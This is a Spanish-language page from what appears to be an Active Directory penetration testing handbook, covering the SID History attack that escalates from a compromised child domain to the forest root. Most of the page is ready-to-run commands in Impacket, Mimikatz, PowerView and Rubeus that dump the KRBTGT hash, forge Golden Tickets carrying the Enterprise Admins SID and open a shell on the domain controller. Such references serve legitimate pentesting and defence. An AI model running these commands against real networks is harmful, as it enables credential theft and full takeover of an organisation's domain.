🔵
Active Directory Penetration Testing
  • Inicio
  • General
    • Recursos de aprendizaje
    • Herramientas
  • Recolección de información y enumeración
    • Bypass protecciones PowerShell scripts
    • LLMNR/NBT-NS poisoning
    • Enumeración no autenticada
      • Enumeración de usuarios y grupos
      • Enumeración de política de contraseñas
    • Password spraying
    • Enumeración autenticada
      • BloodHound
      • Domain Name System (DNS)
      • Enumeración de dominios
      • Enumeración de usuarios, grupos y computadoras
      • Enumeración de recursos compartidos
      • Enumeración de política de contraseñas
      • Enumeración de Group Policy Object (GPO)
      • Enumeración de Access Control List (ACL)
      • Enumeración de relaciones de confianza de dominio
  • Movimiento lateral
    • User hunting
    • Microsoft SQL Server (MSSQL)
    • PowerShell remoting
    • Remote Desktop Protocol (RDP)
    • Server Message Block (SMB)
    • Windows Remote Management (WinRM)
    • Pass the Hash (PtH)
    • Pass the Ticket (PtT)
  • Escalamiento de privilegios de dominio
    • Configuraciones incorrectas
    • Credential dumping
    • Usuarios y grupos
    • ASREPRoast
    • Kerberoast
    • DCSync
    • Unconstrained delegation
    • Constrained delegation
  • Escalamiento de privilegios en relaciones de confianza de dominio
    • Kerberoast
    • Foreign group membership
    • SID History
  • Persistencia
    • Golden Ticket
    • Silver Ticket
    • Skeleton Key
    • Directory Services Restore Mode (DSRM)
  • Vulnerabilidades
    • NoPac
    • PrintNightmare
Con tecnología de GitBook
En esta página
  • Descripción
  • Linux/Unix
  • Windows

¿Te fue útil?

  1. Escalamiento de privilegios en relaciones de confianza de dominio

SID History

Descripción

Este ataque permite el compromiso de un dominio principal una vez que el dominio secundario ha sido comprometido.

Dentro de un mismo bosque de Active Directory, la propiedad sIDHistory se respeta cuando no existe la protección de filtrado SID, por lo tanto, si un usuario en un dominio secundario tiene en su sIDHistory establecido el grupo Enterprise Admins (que solo existe en el dominio principal), se lo trata como miembro de este grupo, lo que permite el acceso administrativo a todo el bosque.

Es decir, podemos crear un Golden Ticket desde el dominio secundario comprometido para comprometer el dominio principal.

Linux/Unix

1) Obtención de hash NT de usuario KRBTGT de dominio secundario utilizando Impacket (secretsdump).

# impacket-secretsdump
secretsdump.py <SECONDARY.ACME.LOCAL>/<user>:"<password>"@<IP-address-DC-secondary> -just-dc-user <SECONDARY>\krbtgt

2) Obtención de SID del dominio secundario utilizando Impacket (lookupsid).

# impacket-lookupsid
lookupsid.py <SECONDARY.ACME.LOCAL>/<user>:"<password>"@<IP-address-DC-secondary> | grep "Domain SID"

3) Obtención de SID del grupo "Enterprise Admins" del dominio principal utilizando Impacket (lookupsid).

# impacket-lookupsid
lookupsid.py <SECONDARY.ACME.LOCAL>/<user>:"<password>"@<IP-address-DC> | grep -B12 "Enterprise Admins"
  • SID grupo "Enterprise Admins": Domain SID-Enterprise Admins RID

4) Creación de Golden Ticket con Impacket (ticketer).

# impacket-ticketer
ticketer.py -nthash <NT-hash-user-KRBTGT> -domain <SECONDARY.ACME.LOCAL> -domain-sid <SID-secondary-domain> -extra-sid <SID-Enterprise-Admins-group> Administrator

5) Configuración de la variable de entorno KRB5CCNAME con Golden Ticket.

export KRB5CCNAME=Administrator.ccache

6) Obtención de shell utilizando Impacket (psexec).

# impacket-psexec
psexec.py <SECONDARY.ACME.LOCAL>/Administrator@<DC01.ACME.LOCAL> -k -no-pass -target-ip <IP-address-DC>

7) Escala de privilegios desde el dominio secundario al dominio principal de forma automatizada utilizando Impacket (raiseChild).

# impacket-raiseChild
raiseChild.py -target-exec <IP-address-DC> <SECONDARY.ACME.LOCAL>/<user>:"<password>"

Windows

1) Obtención de hash NT de usuario KRBTGT de dominio secundario utilizando Mimikatz.

.\mimikatz.exe
lsadump::dcsync /user:<SECONDARY>\krbtgt

2) Obtención de SID del dominio secundario (actual) utilizando PowerView.

Get-DomainSID

3) Obtención de SID del grupo "Enterprise Admins" del dominio principal.

# PowerView
Get-DomainGroup -Domain <ACME.LOCAL> -Identity "Enterprise Admins" | select distinguishedname, objectsid

# Módulo ActiveDirectory PowerShell
Get-ADGroup -Identity "Enterprise Admins" -Server "<ACME.LOCAL>"

4) Creación de Golden Ticket con Mimikatz.

4.1) Inyectar Golden Ticket en la sesión actual.

.\mimikatz.exe
kerberos::golden /user:Administrator /domain:<SECONDARY.ACME.LOCAL> /sid:<SID-secondary-domain> /krbtgt:<NT-hash-user-KRBTGT> /sids:<SID-Enterprise-Admins-group> /ptt

Verificar inyección de Golden Ticket en la sesión actual.

klist
dir \\<DC01.ACME.LOCAL>\C$

4.2) Exportar Golden Ticket.

.\mimikatz.exe
kerberos::golden /user:Administrator /domain:<SECONDARY.ACME.LOCAL> /sid:<SID-secondary-domain> /krbtgt:<NT-hash-user-KRBTGT> /sids:<SID-Enterprise-Admins-group> /ticket:golden-ticket.kirbi

Importar Golden Ticket en sesión con Rubeus.

.\Rubeus.exe createnetonly /program:cmd.exe /show
.\Rubeus.exe ptt /ticket:golden-ticket.kirbi
dir \\<DC01.ACME.LOCAL>\C$

5) Creación de Golden Ticket con Rubeus.

5.1) Inyectar Golden Ticket en la sesión actual.

.\Rubeus.exe golden /rc4:<NT-hash-user-KRBTGT> /domain:<SECONDARY.ACME.LOCAL> /sid:<SID-secondary-domain> /sids:<SID-Enterprise-Admins-group> /user:Administrator /ptt

Verificar inyección de Golden Ticket en la sesión actual.

klist
dir \\<DC01.ACME.LOCAL>\C$
AnteriorForeign group membershipSiguienteGolden Ticket

Última actualización hace 2 años

¿Te fue útil?